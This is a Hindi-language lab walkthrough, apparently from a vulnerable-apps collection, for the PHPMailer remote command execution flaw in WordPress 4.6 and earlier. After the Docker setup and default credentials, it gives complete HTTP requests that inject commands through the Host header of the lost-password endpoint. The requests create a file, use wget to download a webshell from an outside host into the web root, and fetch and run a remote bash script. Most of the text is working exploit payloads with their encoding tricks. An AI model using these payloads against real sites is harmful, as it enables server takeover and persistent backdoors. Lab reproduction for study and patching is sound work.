
WordPress PHP भाषा में विकसित एक ब्लॉग प्लेटफ़ॉर्म है, जिसकी सहायता से उपयोगकर्ता PHP और MySQL डेटाबेस का समर्थन करने वाले सर्वर पर अपनी वेबसाइट स्थापित कर सकते हैं। WordPress को एक सामग्री प्रबंधन प्रणाली (CMS) के रूप में भी उपयोग किया जा सकता है। WordPress उपयोगकर्ताओं को ईमेल भेजने के लिए PHPMailer घटक का उपयोग करता है। PHPMailer (संस्करण < 5.2.18) में एक दूरस्थ कमांड निष्पादन भेद्यता मौजूद है, आक्रमणकारी को केवल एक दुर्भावनापूर्ण ईमेल पता चतुराई से बनाना होता है, जिससे मनमानी फ़ाइल लिखी जा सकती है और दूरस्थ कमांड निष्पादन का खतरा उत्पन्न होता है।
WordPress <= 4.6
| प्रकार | उपयोगकर्ता नाम | पासवर्ड |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80वाली कमांड में आगे का 8000 भौतिक मशीन का पोर्ट दर्शाता है, इसे इच्छानुसार निर्दिष्ट किया जा सकता है।
http://127.0.0.1:8000 पर पहुँचें और WordPress का मुख्य इंटरफ़ेस दिखने का अर्थ है कि प्रारंभ सफल रहा
मान लें कि लक्ष्य का पता है: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
वापसी स्टेटस कोड 200 दिखने का अर्थ है कि /var/www/html/vuln फ़ाइल सफलतापूर्वक बना ली गई है
अनुरोध भेजने से पहले इस पते पर पहुँचने पर 404 दिखाई देगा
विचार: एक दूरस्थ HTTP सर्वर पर एक टेक्स्ट फ़ाइल बनाएं, और wget के माध्यम से इसे लक्ष्य मशीन पर डाउनलोड करें
जब कमांड निष्पादन पहले से संभव है, तो WebShell भेजने की क्या आवश्यकता है
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
ध्यान दें:
- दूरस्थ URL में
http://नहीं होना चाहिए- सभी अक्षर लोअरकेस होने चाहिए
- सभी / को
${substr{0}{1}{$spool_directory}}से बदलें- सभी स्पेस को
${substr{10}{1}{$tod_log}}से बदलें
अनुरोध संदेश इस प्रकार है (वास्तविक स्थिति के अनुसार user_login बदलें, डिफ़ॉल्ट admin है):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
यदि दूरस्थ टेक्स्ट फ़ाइल की सामग्री bash स्क्रिप्ट है, तो लक्ष्य पर डाउनलोड करने के बाद सीधे /bin/bash से उस फ़ाइल को निष्पादित किया जा सकता है
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce